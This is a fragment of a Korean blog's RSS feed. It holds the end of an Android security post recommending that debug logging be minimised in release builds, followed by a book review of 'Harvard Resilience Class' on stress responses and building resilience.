&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;②&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;안전한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Log&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;클래스 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Log&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;클래스를 사용하여 디버그 로그를 생성한다&lt;span&gt;. Log&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;클래스는 다양한 로그 레벨&lt;span&gt;(Debug, Info, Warn, Error&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;등&lt;span&gt;)&lt;/span&gt;을 제공하며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이를 통해 개발자는 필요에 따라 처리를 다르게 지정할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;개발 중에는 자세한 로그를 출력하여 디버깅에 도움을 받을 수 있지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;배포 버전에는 로그의 수준을 낮추거나 제거해야 한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>안드로이드 취약점진단</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/260</guid>
      <comments>https://gomguk.tistory.com/260#entry260comment</comments>
      <pubDate>Fri, 8 Nov 2024 00:26:51 +0900</pubDate>
    </item>
    <item>
      <title>[책 리뷰] 하버드 회복탄력성 수업</title>
      <link>https://gomguk.tistory.com/259</link>
      <description>&lt;h2 id=&quot;section-0&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;들어가며&lt;/span&gt;&lt;/h2&gt;
&lt;div id=&quot;craft_clipboard&quot; data-craft=&quot;W3sicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLsnbjqsITsnZgg64eM7JmAIOuquOydgCDsnITtmJHqs7wg7JyE7ZeY7J2EIOunjOuCrOydhCDrlYwg67O17ZWp7KCB7J206rOg64+EIOq4sOuwnO2VmOqyjCDrsJjsnZHtlZzri6QuIOydtCDssYXsl5DshJzripQg7J2065+s7ZWcIOuwmOydkeydhCDtiKzsn4EoZmlnaHQpLCDrj4Trp50oZmxpZ2h0KSwg7Ja87J2MKGZyZWV6ZSkg67CY7J2R7Jy866GcIOyEpOuqhe2VmOuKlOuNsCwg7IOB7Zmp7J20IO2GteygnO2VoCDsiJgg7J6I7J2EIOuVjOuKlCDrp57shJwg7Iu47Jqw6rOgLCDrjIDsspjqsIAg7Ja066Ck7Jq4IOuVjOuKlCDruaDrpbTqsowg7ZqM7ZS87ZWY64+E66GdIOyekOq3ue2VmOyXrCDsnITtl5jsl5DshJwg67KX7Ja064KY6riwIOychO2VnCDspIDruYQg7IOB7YOc6rCAIOuQnOuLpC4g65iQ7ZWcIOychO2XmOydhCDtmoztlLztlaAg7IiYIOyXhuqxsOuCmCDsg4HtmansnbQg6riJ67CV7ZWcIOqyveyasCDrqrjsnbQg7Ja87Ja067aZ7J2AIOuTryDrqYjstpTripQg67CY7J2R7J2EIOuztOyduOuLpC4iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjExNTc4NTkzLCJ1cGRhdGVkIjoxNzMwMjExOTI3ODk3LCJzdGFtcCI6IlwiYjkyMjEzOWQtOGM4OC00YWRmLTgwODctMDkyNTIyNmY0ODI1XCIiLCJ0ZW1wSWQiOiJGQ0U3OTA3Ny00QTAzLTQ0N0QtODQ2QS0xNkRBMTJGNjMyODAifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi7J2065+wIOuwmOydkeydgCDsm5Drnpgg7IOd7KG0IOuzuOuKpeyXkOyEnCDruYTroa/rkJwg6rKD7J207KeA66eMLCDtmITrjIAg7IKs7ZqM7JeQ7ISc64+EIOustOydmOyLneyggeycvOuhnCDrgpjtg4Drgpzri6QuIOydvOyDgSDsho3sl5DshJwg7Ius66as7KCBIOuYkOuKlCDqsJDsoJXsoIHsnLzroZwg7JWV67CV7J2EIOuKkOuChCDrlYwsIOydtOufrO2VnCDrs7jriqXsoIEg67CY7J2R65Ok7J20IOyKpOyKpOuhnOulvCDrs7TtmLjtlZjripQg67Cp7Iud7Jy866GcIOyekeuPme2VmOqzpCDtlZzri6QuIOq3uCDqsrDqs7wsIOyCrOyGjO2VmOuLpOqzoCDsg53qsIHtlZjripQg7JuQ7J247J287KeA652864+EIOunieyDgSDsnbzsnbQg7YSw7KeA66m0IOuzuOuKpeydgCDtmITsi6Tqs7wg7IOB7IOB7J2EIOq1rOu2hO2VmOyngCDrqrvtlZzri6QuIOyLnOqwhOydtCDtnZDrpbTrqbTshJwg67aI7JWI6rCQ7J20IOq3uOyZgCDrrLTqtIDtlZwg7IOB7Zmp7J2064KYIOq4sOyWteq5jOyngOuPhCDsl7DqsrDrkJjslrQg64eM6rCAIOyKpOyKpOuhnCDrkZDroKTsm4DsnYQg66eM65Ok7Ja064K06riw64+EIO2VnOuLpC4iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjExNjg2NzE4LCJ1cGRhdGVkIjoxNzMwMjExNzgzMzU5LCJzdGFtcCI6IlwiMThjOGNiZDUtOWFkYi00NzczLWFiYTAtNWM1NzMzYTI2YTY3XCIiLCJ0ZW1wSWQiOiI0OTI3NzU2NC00NkNCLTRDOUUtQkE1RS1BN0QxNTZCQkY4OTcifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi7LGF7JeQ7ISc64qUIOydtOufrO2VnCDrrLTsnZjsi53soIHsnbgg67CY7J2R7J2EIOq3ueuzte2VmOq4sCDsnITtlbQg64eM7J2YICfsi6Dqsr3qsIDshozshLEn7J2EIOydtOyaqe2VoCDqsoPsnYQg7KGw7Ja47ZWc64ukLiDrsJjrs7XsoIHsnbgg7ZuI66Co7J2EIO2Gte2VtCDrh4zqsIAg64+Z7J287ZWcIOyLoOqyvSDqsr3roZzrpbwg7Zmc7ISx7ZmU7ZWo7Jy866Gc7I2o6riN7KCV7KCB7J24IOyCrOqzoOulvCDsp4Dsho3soIHsnLzroZwg7Jew7Iq17ZWY66m0LCDsi6Dqsr0g7ZqM66Gc6rCAIOuNlCDquI3soJXsoIHsnbgg67Cp7Zal7Jy866GcIOuzgO2ZlO2VmOqyjCDrkJzri6TripQg6rKD7J2064ukLiDsnbTrn6ztlZwg7ZuI66Co7J2EIO2Gte2VtCDtmozrs7Xtg4TroKXshLHsnYQg7YKk7Jqw64qUIOqyg+ydtCDqsrDqta0g7Jqw66as6rCAIOy2lOq1rO2VmOuKlCDrqqntkZzsnbTri6QuIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDIxMTU3ODU5MywidXBkYXRlZCI6MTczMDIxMTg2MTE5Nywic3RhbXAiOiJcImVlZmIwYzcwLWMyZmYtNDMyZC1hOGQzLTY2ZWEzMzU3YTQ1NFwiIiwidGVtcElkIjoiQTM4Q0U2NEMtNUFBNi00MTU4LUE5QjQtODEwQzY2NUFGRkQyIn1d&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;인간의 뇌와 몸은 위협과 위험을 만났을 때 복합적이고도 기발하게 반응한다. 이 책에서는 이러한 반응을 투쟁(fight), 도망(flight), 얼음(freeze) 반응으로 설명하는데, 상황이 통제할 수 있을 때는 맞서 싸우고, 대처가 어려울 때는 빠르게 회피하도록 자극하여 위험에서 벗어나기 위한 준비 상태가 된다. 또한 위험을 회피할 수 없거나 상황이 급박한 경우 몸이 얼어붙은 듯 멈추는 반응을 보인다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이런 반응은 원래 생존 본능에서 비롯된 것이지만, 현대 사회에서도 무의식적으로 나타난다. 일상 속에서 심리적 또는 감정적으로 압박을 느낄 때, 이러한 본능적 반응들이 스스로를 보호하는 방식으로 작동하곤 한다. 그 결과, 사소하다고 생각하는 원인일지라도 막상 일이 터지면 본능은 현실과 상상을 구분하지 못한다. 시간이 흐르면서 불안감이 그와 무관한 상황이나 기억까지도 연결되어 뇌가 스스로 두려움을 만들어내기도 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;책에서는 이러한 무의식적인 반응을 극복하기 위해 뇌의 '신경가소성'을 이용할 것을 조언한다. 반복적인 훈련을 통해 뇌가 동일한 신경 경로를 활성화함으로써긍정적인 사고를 지속적으로 연습하면, 신경 회로가 더 긍정적인 방향으로 변화하게 된다는 것이다. 이러한 훈련을 통해 회복탄력성을 키우는 것이 결국 우리가 추구하는 목표이다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;655&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cS1UCJ/btsKAJeKSkp/hWSATPGADLhuKw9Pi3o5Kk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cS1UCJ/btsKAJeKSkp/hWSATPGADLhuKw9Pi3o5Kk/img.jpg&quot; data-alt=&quot;하버드 회복탄력성 수업(교보문고)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cS1UCJ/btsKAJeKSkp/hWSATPGADLhuKw9Pi3o5Kk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcS1UCJ%2FbtsKAJeKSkp%2FhWSATPGADLhuKw9Pi3o5Kk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;458&quot; height=&quot;655&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;655&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;하버드 회복탄력성 수업(교보문고)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나쁜일은 항상 일어나기 마련이며, 모든 것은 변한다. 또한 나는 주인공이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section-1&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;실천하기&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div id=&quot;craft_clipboard&quot; data-craft=&quot;W3sicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLsnpDsi6DsnYQg64+M67O064qUIOydvOydgCDspJHsmpTtlZjri6QuIOydtCDssYXrj4Qg67aA64u0IOyXhuydtCwg7J6Q6riwIOuPjOu0hOydmCDsl7DsnqXshKDsnLzroZwg7Jes6riw64qUIOyekOyEuOqwgCDtlYTsmpTtlZjri6QuIFwi66qo65OgIOuLteydhCDtlZzrsojsl5Ag7LC+7Jy866CkIO2VmOq4sOuztOuLpCwg7J6R7J2AIOyVhOydtOuUlOyWtOudvOuPhCDsi6Tsg53tmZzsl5DshJwg7ZWY64KY7JSpIOyLpOyynO2VmOuKlCDrsKnrspXsnYQg7LC+64qUIOqyg1wi7J2064ukLiIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDU5MTUyNTksInVwZGF0ZWQiOjE3MzAyMTE5Nzg5ODgsInN0YW1wIjoiXCI5YjJkMjM4OC0xM2QxLTRkNjMtOWNjZi0wMmYwMTU3Y2ZlMzBcIiIsInRlbXBJZCI6IjE5RDE5QjhBLUU0RkQtNDg4RS04MzlELTgyOEQ5N0RBQzVFRSJ9LHsicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDYxODE1NzYsInVwZGF0ZWQiOjE3MzAyMDYxODE1NzYsInN0YW1wIjoiXCI2Yzg2YmFjNy02YzJkLTQ2OTYtYmRkNC1iZDA5NzY1ZTI3NzFcIiIsInRlbXBJZCI6IjIwOEZEQUY0LUFEQUUtNDU5Ny04Q0VDLTU3MEEwMTlCNEFCMSJ9LHsicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLqt7jroIfri6TrqbQg7J6R7J2AIOqyg+u2gO2EsCDtlZjrgpjslKkg7Iuk7LKc7ZWY6riwIOychO2VtOyEnCDrrLTsl4fsnYQg66i87KCAIO2VtOuzvCDsiJgg7J6I7J2E6rmMLiIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDYxODEzOTUsInVwZGF0ZWQiOjE3MzAyMTE5OTIwNzQsInN0YW1wIjoiXCJmYzU5MmZiMi02ZTA0LTQ5ZjQtYjFmNC1mOGQwMTEwNTI5MGFcIiIsInRlbXBJZCI6IjkzNzYzREJCLUZFNDUtNDc1QS04QTQ3LTQxOUI1ODVGMDU3MCJ9LHsicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDYyMDI4OTUsInVwZGF0ZWQiOjE3MzAyMDYyMDI4OTUsInN0YW1wIjoiXCJlMmI4NTU0YS03MDYyLTQ5MTYtYWYzMS1mMDZiNWE1MjlmMTRcIiIsInRlbXBJZCI6IkVEMjU0RkFBLTcwQTQtNDQyNi1BMDczLUU0MjIzMzRBN0Q4QSJ9LHsicGFyZW50QmxvY2siOiI1NzJiZjEzMS03YTJhLTRiMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOlt7XCJpc0JvbGRcIjp0cnVlLFwicmFuZ2VcIjpbNCw5XX1dLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLrqLzsoIAsIOyekeydgCDrqqntkZzrpbwg7ISk7KCV7ZWc64ukLiDrp6Tsnbwg7ZWcIOqwgOyngCDsg53qsIHsnbTrgpgg7Iuk7LKc7ZWgIOyVhOydtOuUlOyWtOunjCDslrvqsqDri6Tqs6Ag7IOd6rCB7ZWc64ukLiDrtoDri7TsnbQg7KSE7Ja065Ok6rOgLCDsnpHsnYAg67OA7ZmU7JeQ64+EIOyEsey3qOqwkOydhCDripDrgoQg7IiYIOyeiOuLpC4iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjA2MjAyNjYyLCJ1cGRhdGVkIjoxNzMwMjEyMDEyNzM3LCJzdGFtcCI6IlwiMWJkZTcxMTMtOTU2ZC00ZWRlLWJhOGItMDdkNzg1MTVhMTYwXCIiLCJ0ZW1wSWQiOiI1NzJBMERERC0wNzM4LTQ1MjktOTc1Qi05OTVCRDJFN0U3N0IifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbe1wiaXNCb2xkXCI6dHJ1ZSxcInJhbmdlXCI6WzAsN119XSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi6rO16rCQ7ZWY66mwIOydveq4sCwg7LGF7J2YIOuqqOuToCDrgrTsmqnsnYQg6rO16rCQ7ZWgIOyImOuKlCDsl4bsnYQg6rKD7J2064ukLiDtlZjsp4Drp4wg7LGF7J2EIOydveycvOuptOyEnCDripDrgbzripQg6rCQ7KCV7J2064KYIOyDneqwgeydhCDsnpDsl7DsiqTrn73qsowg7J247KCV7ZWY6rOgIOq4sOuhne2VtCDrs7TripQg6rKD7J2064ukLiBcIuuCtOqwgCDsp4DquIgg7ZWE7JqU7ZWcIOu2gOu2hOydtCDrrLTsl4fsnbzquYw/XCLrpbwg6riw7KSA7Jy866GcIO2VhOyalO2VnCDqtazsoIjsnYQg7ZWY64KY7JSpIOywvuuLpOuztOuptCDsooAg642UIOq5iuydgCDsg53qsIHsnYQg7ZWgIOyImCDsnojri6QuIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDIwNjIyOTc5OSwidXBkYXRlZCI6MTczMDIxMjAwODUyMiwic3RhbXAiOiJcImU4ODQwYWEyLTM2YmEtNDFjOC05NTU2LTkxZGMyNWE3NDZiZFwiIiwidGVtcElkIjoiRkUxNTEzRDgtNjNGQi00NTVCLTkxRTAtMDMzNkMwMEIzQjNEIn0seyJwYXJlbnRCbG9jayI6IjU3MmJmMTMxLTdhMmEtNGIxNy1hMzRmLTJlZmQxNGE4ZTQ3NiIsInR5cGUiOiJ0ZXh0IiwiY3JlYXRlZEJ5VXNlcklkIjoiOTEwZmJiZWItYmI1OC0yZWE3LTA1YWQtZTZhOGI3NmQ4NDYxIiwicHJvcGVydGllcyI6Int9IiwicGFnZVN0eWxlIjoie30iLCJzdHlsZUF0dHJpYnV0ZXMiOiJ7XCJ0ZXh0U3R5bGVcIjpcImJvZHlcIixcImxpc3RTdHlsZVwiOlwibm9uZVwiLFwibGluZVN0eWxlXCI6XCJub25lXCIsXCJ1cmxTdHlsZVwiOlwiZGVmYXVsdFwiLFwibGF5b3V0U3R5bGVcIjpcInJlZ3VsYXJcIixcImltYWdlRmlsbFN0eWxlXCI6XCJzY2FsZUFzcGVjdEZpdFwiLFwiaW1hZ2VTaXplU3R5bGVcIjpcImF1dG9cIixcIl9ydW5BdHRyaWJ1dGVzXCI6W10sXCJkZWNvcmF0aW9uc1wiOnt9LFwiaW5kZW50YXRpb25MZXZlbFwiOjB9IiwiY29udGVudCI6IuyekOq4sCDrj4zrtITsnYQg7JyE7ZWcIO2ctOyLneycvOuhnCDsl6zquLDquLDsnbTri6QuIOyxheydhCDsnb3ripQg7Iuc6rCEIOuniOyggOuPhCBcIu2VtOyVvO2VoCDsnbxcIuuhnCDrs7TquLDrs7Tri6TripQg7ZqM67O17J2YIO2VnCDsiJzqsITsnLzroZwg7ISk7KCV7ZWc64ukLiDssYXsnYQg7J297J2EIOuVjOunjO2BvOydgCDtjrjslYjtlZjqsowg7J297Jy866m07IScIO2ajOuzte2DhOugpeyEseydmCDqsJzrhZDsnLzroZwg7KeA7LmcIOuniOydjOydhCDshJzshJztnogg7LmY7Jyg7ZWc64ukLiIsInN1YkJsb2NrcyI6W10sImNyZWF0ZWQiOjE3MzAyMDYyOTM1MzUsInVwZGF0ZWQiOjE3MzAyMTIwNTE0NTMsInN0YW1wIjoiXCIzNWVlYmRkOS04ZDVjLTQ4MDYtYWNmNy01MDBhMzYwNmU1YjFcIiIsInRlbXBJZCI6IjVBMThGRTgzLTk5M0ItNDk5NC05QkU2LThDNjJEQzU5NkRFNiJ9XQ==&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;자신을 돌보는 일은 중요하다. 이 책도 부담 없이, 자기 돌봄의 연장선으로 여기는 자세가 필요하다. &quot;모든 답을 한번에 찾으려 하기보다, 작은 아이디어라도 실생활에서 하나씩 실천하는 방법을 찾는 것&quot;이다.&lt;/span&gt;&lt;/p&gt;
